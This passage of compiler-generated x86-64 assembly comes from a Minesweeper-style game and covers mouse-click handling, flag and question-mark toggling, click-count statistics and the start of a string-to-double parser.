cmpl $0, 36(%rax)
jne LBB38_6
## %bb.5: ## in Loop: Header=BB38_3 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
LBB38_6: ## in Loop: Header=BB38_3 Depth=2
jmp LBB38_7
LBB38_7: ## in Loop: Header=BB38_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB38_3
LBB38_8: ## in Loop: Header=BB38_1 Depth=1
jmp LBB38_9
LBB38_9: ## in Loop: Header=BB38_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB38_1
LBB38_10:
movl -20(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _left_click ## -- Begin function left_click
.p2align 4, 0x90
_left_click: ## @left_click
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB39_2
## %bb.1:
jmp LBB39_24
LBB39_2:
movl -4(%rbp), %eax
movq _cur_x@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jne LBB39_4
## %bb.3:
movl -8(%rbp), %eax
movq _cur_y@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
je LBB39_5
LBB39_4:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
movl -12(%rbp), %edx
movl -16(%rbp), %ecx
callq _mouse_move
LBB39_5:
movq _left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB39_7
## %bb.6:
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
jmp LBB39_24
LBB39_7:
movq _right@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB39_11
## %bb.8:
movq _shift_left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB39_11
## %bb.9:
movq _superclick@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB39_14
## %bb.10:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB39_14
LBB39_11:
movq _d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _d_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _onedotfive@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB39_13
## %bb.12:
movq _clicks_15@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _clicks_15@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB39_13:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
movq _onedotfive@GOTPCREL(%rip), %rax
movl (%rax), %edx
callq _do_chord
movq _right@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _chorded@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
jmp LBB39_23
LBB39_14:
movq _chorded@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB39_18
## %bb.15:
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _rilian_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _rilian_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
cmpl $0, _no_rilian_clicks(%rip)
je LBB39_17
## %bb.16:
jmp LBB39_24
LBB39_17:
jmp LBB39_18
LBB39_18:
movq _l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _l_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB39_21
## %bb.19:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB39_21
## %bb.20:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _do_open
jmp LBB39_22
LBB39_21:
movq _wasted_l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_l_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB39_22:
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
LBB39_23:
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB39_24:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _mouse_move ## -- Begin function mouse_move
.p2align 4, 0x90
_mouse_move: ## @mouse_move
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
je LBB40_29
## %bb.1:
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_3
## %bb.2:
movq _right@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB40_5
LBB40_3:
movq _middle@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB40_5
## %bb.4:
movq _shift_left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_9
LBB40_5:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -4(%rbp), %eax
jne LBB40_7
## %bb.6:
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -8(%rbp), %eax
je LBB40_8
LBB40_7:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _pop_around
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
LBB40_8:
jmp LBB40_28
LBB40_9:
movq _superclick@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_16
## %bb.10:
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_16
## %bb.11:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _cur_x@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
movq _cur_y@GOTPCREL(%rip), %rdx
addl (%rdx), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB40_16
## %bb.12:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _pop_around
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB40_14
## %bb.13:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
jmp LBB40_15
LBB40_14:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push
LBB40_15:
jmp LBB40_27
LBB40_16:
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_26
## %bb.17:
movq _chorded@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB40_26
## %bb.18:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -4(%rbp), %eax
jne LBB40_20
## %bb.19:
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -8(%rbp), %eax
je LBB40_21
LBB40_20:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _pop
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push
LBB40_21:
movq _nono@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB40_25
## %bb.22:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -4(%rbp), %eax
jne LBB40_24
## %bb.23:
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %eax
cmpl -8(%rbp), %eax
je LBB40_25
LBB40_24:
movq _shift_left@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -20(%rbp)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %ecx
callq _left_click
movq _left@GOTPCREL(%rip), %rax
movl $1, (%rax)
movl -20(%rbp), %ecx
movq _shift_left@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB40_25:
jmp LBB40_26
LBB40_26:
jmp LBB40_27
LBB40_27:
jmp LBB40_28
LBB40_28:
jmp LBB40_29
LBB40_29:
movq _cur_prec_x@GOTPCREL(%rip), %rax
movl (%rax), %edi
subl -12(%rbp), %edi
callq _abs
movl %eax, -24(%rbp) ## 4-byte Spill
movq _cur_prec_y@GOTPCREL(%rip), %rax
movl (%rax), %edi
subl -16(%rbp), %edi
callq _abs
movl -24(%rbp), %ecx ## 4-byte Reload
addl %eax, %ecx
movq _distance@GOTPCREL(%rip), %rax
addl (%rax), %ecx
movq _distance@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -12(%rbp), %ecx
movq _cur_prec_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -16(%rbp), %ecx
movq _cur_prec_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
je LBB40_31
## %bb.30:
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB40_31:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _left_press ## -- Begin function left_press
.p2align 4, 0x90
_left_press: ## @left_press
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _middle@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB41_2
## %bb.1:
jmp LBB41_13
LBB41_2:
movq _left@GOTPCREL(%rip), %rax
movl $1, (%rax)
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB41_4
## %bb.3:
jmp LBB41_13
LBB41_4:
movq _right@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB41_8
## %bb.5:
movq _superclick@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB41_7
## %bb.6:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB41_8
LBB41_7:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push
jmp LBB41_9
LBB41_8:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
LBB41_9:
movq _elmar@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB41_11
## %bb.10:
movq _nono@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB41_12
LBB41_11:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
movl -12(%rbp), %edx
movl -16(%rbp), %ecx
callq _left_click
movq _left@GOTPCREL(%rip), %rax
movl $1, (%rax)
LBB41_12:
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB41_13:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _left_press_with_shift ## -- Begin function left_press_with_shift
.p2align 4, 0x90
_left_press_with_shift: ## @left_press_with_shift
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _middle@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB42_2
## %bb.1:
jmp LBB42_8
LBB42_2:
movq _shift_left@GOTPCREL(%rip), %rax
movl $1, (%rax)
movq _left@GOTPCREL(%rip), %rax
movl $1, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB42_4
## %bb.3:
jmp LBB42_8
LBB42_4:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
movq _elmar@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB42_6
## %bb.5:
movq _nono@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB42_7
LBB42_6:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
movl -12(%rbp), %edx
movl -16(%rbp), %ecx
callq _left_click
movq _shift_left@GOTPCREL(%rip), %rax
movl $1, (%rax)
movq _left@GOTPCREL(%rip), %rax
movl $1, (%rax)
LBB42_7:
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB42_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _toggle_question_mark_setting ## -- Begin function toggle_question_mark_setting
.p2align 4, 0x90
_toggle_question_mark_setting: ## @toggle_question_mark_setting
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _qm@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %ecx
movq _qm@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _right_press ## -- Begin function right_press
.p2align 4, 0x90
_right_press: ## @right_press
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _middle@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB44_2
## %bb.1:
jmp LBB44_26
LBB44_2:
movq _right@GOTPCREL(%rip), %rax
movl $1, (%rax)
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB44_4
## %bb.3:
jmp LBB44_26
LBB44_4:
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB44_6
## %bb.5:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
jmp LBB44_25
LBB44_6:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB44_17
## %bb.7:
movq _onedotfive@GOTPCREL(%rip), %rax
movl $1, (%rax)
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
je LBB44_11
## %bb.8:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _do_unset_flag
movq _qm@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB44_10
## %bb.9:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _do_question
LBB44_10:
jmp LBB44_16
LBB44_11:
movq _qm@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB44_13
## %bb.12:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 48(%rax)
jne LBB44_14
LBB44_13:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _do_set_flag
jmp LBB44_15
LBB44_14:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 48(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 40(%rax)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.13(%rip), %rsi
movb $0, %al
callq _fprintf
LBB44_15:
jmp LBB44_16
LBB44_16:
movq _r_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _r_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB44_24
LBB44_17:
movq _superflag@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB44_23
## %bb.18:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB44_23
## %bb.19:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
je LBB44_22
## %bb.20:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 16(%rax), %eax
movl %eax, -20(%rbp) ## 4-byte Spill
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _closed_sq_around
movl %eax, %ecx
movl -20(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jl LBB44_22
## %bb.21:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _do_flag_around
LBB44_22:
jmp LBB44_23
LBB44_23:
jmp LBB44_24
LBB44_24:
jmp LBB44_25
LBB44_25:
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB44_26:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _right_click ## -- Begin function right_click
.p2align 4, 0x90
_right_click: ## @right_click
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _right@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB45_2
## %bb.1:
jmp LBB45_11
LBB45_2:
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _right@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB45_4
## %bb.3:
movq _left@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _chorded@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _onedotfive@GOTPCREL(%rip), %rax
movl $0, (%rax)
jmp LBB45_11
LBB45_4:
movq _left@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB45_6
## %bb.5:
movq _cur_x@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _cur_y@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _pop_around
movl -4(%rbp), %edi
movl -8(%rbp), %esi
xorl %edx, %edx
callq _do_chord
movq _d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _d_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _chorded@GOTPCREL(%rip), %rax
movl $1, (%rax)
jmp LBB45_10
LBB45_6:
movq _onedotfive@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB45_9
## %bb.7:
movq _chorded@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB45_9
## %bb.8:
movq _r_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _r_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _wasted_r_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_r_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB45_9:
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
LBB45_10:
movq _onedotfive@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %ecx
movq _cur_x@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %ecx
movq _cur_y@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB45_11:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _middle_press ## -- Begin function middle_press
.p2align 4, 0x90
_middle_press: ## @middle_press
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _onedotfive@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _right@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _middle@GOTPCREL(%rip), %rax
movl $1, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB46_2
## %bb.1:
jmp LBB46_3
LBB46_2:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _push_around
LBB46_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _middle_click ## -- Begin function middle_click
.p2align 4, 0x90
_middle_click: ## @middle_click
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl %ecx, -16(%rbp)
movq _middle@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB47_2
## %bb.1:
jmp LBB47_5
LBB47_2:
movq _middle@GOTPCREL(%rip), %rax
movl $0, (%rax)
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _is_inside_board
cmpl $0, %eax
jne LBB47_4
## %bb.3:
jmp LBB47_5
LBB47_4:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
xorl %edx, %edx
callq _do_chord
movq _d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _d_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB47_5:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function strtodouble
LCPI48_0:
.quad 0x4048000000000000 ## double 48
LCPI48_1:
.quad 0x4024000000000000 ## double 10
.section __TEXT,__text,regular,pure_instructions
.globl _strtodouble
.p2align 4, 0x90
_strtodouble: ## @strtodouble
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -16(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -24(%rbp)
movl $-1, -28(%rbp)
movl $0, -32(%rbp)
movq -16(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -36(%rbp)
movl $1, -40(%rbp)
LBB48_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movl -28(%rbp), %ecx
addl $1, %ecx
movl %ecx, -28(%rbp)
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $32, %eax
jne LBB48_3
## %bb.2: ## in Loop: Header=BB48_1 Depth=1
jmp LBB48_1
LBB48_3:
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
cmpb $0, (%rax,%rcx)
jne LBB48_5
## %bb.4:
xorps %xmm0, %xmm0
movsd %xmm0, -8(%rbp)
jmp LBB48_22
LBB48_5:
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $45, %eax
jne LBB48_7
## %bb.6:
movl $1, -32(%rbp)
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB48_7:
jmp LBB48_8
LBB48_8: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -36(%rbp), %ecx
movb %al, -41(%rbp) ## 1-byte Spill
jge LBB48_10
## %bb.9: ## in Loop: Header=BB48_8 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isdigit
cmpl $0, %eax
setne %al
movb %al, -41(%rbp) ## 1-byte Spill
LBB48_10: ## in Loop: Header=BB48_8 Depth=1
movb -41(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB48_11
jmp LBB48_12
LBB48_11: ## in Loop: Header=BB48_8 Depth=1
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -16(%rbp), %rax
movl -28(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -28(%rbp)
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cvtsi2sd %eax, %xmm1
movsd LCPI48_1(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd LCPI48_0(%rip), %xmm1 ## xmm1 = mem[0],zero
subsd %xmm1, %xmm0
movsd %xmm0, -24(%rbp)
jmp LBB48_8
LBB48_12:
movq -16(%rbp), %rax
movl -28(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -28(%rbp)
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $46, %eax
je LBB48_14
## %bb.13:
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -8(%rbp)
jmp LBB48_22
LBB48_14:
jmp LBB48_15
